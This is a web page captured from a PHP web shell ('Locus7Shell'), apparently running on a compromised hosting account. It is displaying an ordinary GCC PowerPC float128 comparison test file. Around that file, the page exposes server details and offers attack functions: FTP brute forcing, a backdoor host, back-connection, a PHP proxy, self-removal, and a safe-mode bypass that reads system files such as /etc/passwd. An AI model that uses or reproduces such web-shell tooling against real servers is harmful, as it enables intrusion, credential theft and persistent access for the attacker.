Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/powerpc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     float128-cmp2-runnable.c (5.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-require-effective-target ppc_float128_sw } */
/* { dg-require-effective-target p9vector_hw } */
/* { dg-options "-O2 -mdejagnu-cpu=power9 " } */

#define NAN_Q __builtin_nanq ("")
#define SNAN_Q __builtin_nansq ("")
#define NAN __builtin_nan ("")
#define SNAN __builtin_nans ("")

#ifdef DEBUG
#include <stdio.h>
#endif

void abort (void);

int main(void)
{
  int result;
  double a_dble, b_dble;
  __ieee128 a_ieee128, b_ieee128;
  
  a_dble = 3.10;
  b_dble = 3.10;
  
  if (__builtin_vec_scalar_cmp_exp_eq(a_dble, b_dble))
#ifdef DEBUG
    printf("Double EQ result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: Double EQ result is false, expecting true\n");
#else
    abort();
#endif

  a_dble = 3.10;
  b_dble = 31.0;
  
  if (__builtin_vec_scalar_cmp_exp_eq(a_dble, b_dble))
#ifdef DEBUG
    printf("ERROR: Double EQ result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("Double EQ result is false, expecting false\n");
#else
    ;
#endif

  a_dble = 3.10;
  b_dble = 3.10;

  if (__builtin_vec_scalar_cmp_exp_lt(a_dble, b_dble))
#ifdef DEBUG
    printf("ERROR: Double LT result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("Double LT result is false, expecting false\n");
#else
    ;
#endif

  a_dble = 0.31;
  b_dble = 3.10;
  
  if (__builtin_vec_scalar_cmp_exp_lt(a_dble, b_dble))
#ifdef DEBUG
    printf("Double LT result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: Double LT result is false, expecting true\n");
#else
    abort();
#endif

  a_dble = 0.31;
  b_dble = 3.10;

  if (__builtin_vec_scalar_cmp_exp_gt(a_dble, b_dble))
#ifdef DEBUG
    printf("ERROR: Double GT result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("Double GT result is false, expecting false\n");
#else
    ;
#endif

  a_dble = 3.10;
  b_dble = 0.31;
  
  if (__builtin_vec_scalar_cmp_exp_gt(a_dble, b_dble))
#ifdef DEBUG
    printf("Double GT result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: Double GT result is false, expecting true\n");
#else
    abort();
#endif

  a_dble = NAN;
  b_dble = NAN;
  
  if (__builtin_vec_scalar_cmp_exp_unordered(a_dble, b_dble))
#ifdef DEBUG
    printf("Double unordered result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: Double unordered result is false, expecting true\n");
#else
    abort();
#endif

  a_dble = 3.10;
  b_dble = 3.10;
  
  if (__builtin_vec_scalar_cmp_exp_unordered(a_dble, b_dble))
#ifdef DEBUG
    printf("ERROR: Double unordered result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("Double unordered result is false, expecting false\n");
#else
    ;
#endif
    
  /* IEEE 128 */
  a_ieee128 = 3.10;
  b_ieee128 = 3.10;
  
  if (__builtin_vec_scalar_cmp_exp_eq(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("IEEE 128 EQ result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: IEEE 128 EQ result is false, expecting true\n");
#else
    abort();
#endif

  a_ieee128 = 3.10;
  b_ieee128 = 31.0;
  
  if (__builtin_vec_scalar_cmp_exp_eq(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("ERROR: IEEE 128 EQ result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("IEEE 128 EQ result is false, expecting false\n");
#else
    ;
#endif

  a_ieee128 = 3.10;
  b_ieee128 = 3.10;

  if (__builtin_vec_scalar_cmp_exp_lt(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("ERROR: IEEE 128 LT result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("IEEE 128 LT result is false, expecting false\n");
#else
    ;
#endif

  a_ieee128 = 0.31;
  b_ieee128 = 3.10;
  
  if (__builtin_vec_scalar_cmp_exp_lt(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("IEEE 128 LT result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: IEEE 128 LT result is false, expecting true\n");
#else
    abort();
#endif

  a_ieee128 = 0.31;
  b_ieee128 = 3.10;

  if (__builtin_vec_scalar_cmp_exp_gt(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("ERROR: IEEE 128 GT result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("IEEE 128 GT result is false, expecting false\n");
#else
    ;
#endif

  a_ieee128 = 3.10;
  b_ieee128 = 0.31;
  
  if (__builtin_vec_scalar_cmp_exp_gt(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("IEEE 128 GT result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: IEEE 128 GT result is false, expecting true\n");
#else
    abort();
#endif

  a_ieee128 = NAN_Q;
  b_ieee128 = NAN_Q;
  
  if (__builtin_vec_scalar_cmp_exp_unordered(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("IEEE unordered result is true, expecting true\n");
#else
    ;
#endif
  else
#ifdef DEBUG
    printf("ERROR: IEEE unordered result is false, expecting true\n");
#else
    abort();
#endif

  a_ieee128 = 3.10;
  b_ieee128 = 3.10;
  
  if (__builtin_vec_scalar_cmp_exp_unordered(a_ieee128, b_ieee128))
#ifdef DEBUG
    printf("ERROR: IEEE unordered result is true, expecting false\n");
#else
    abort();
#endif
  else
#ifdef DEBUG
    printf("IEEE unordered result is false, expecting false\n");
#else
    ;
#endif
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--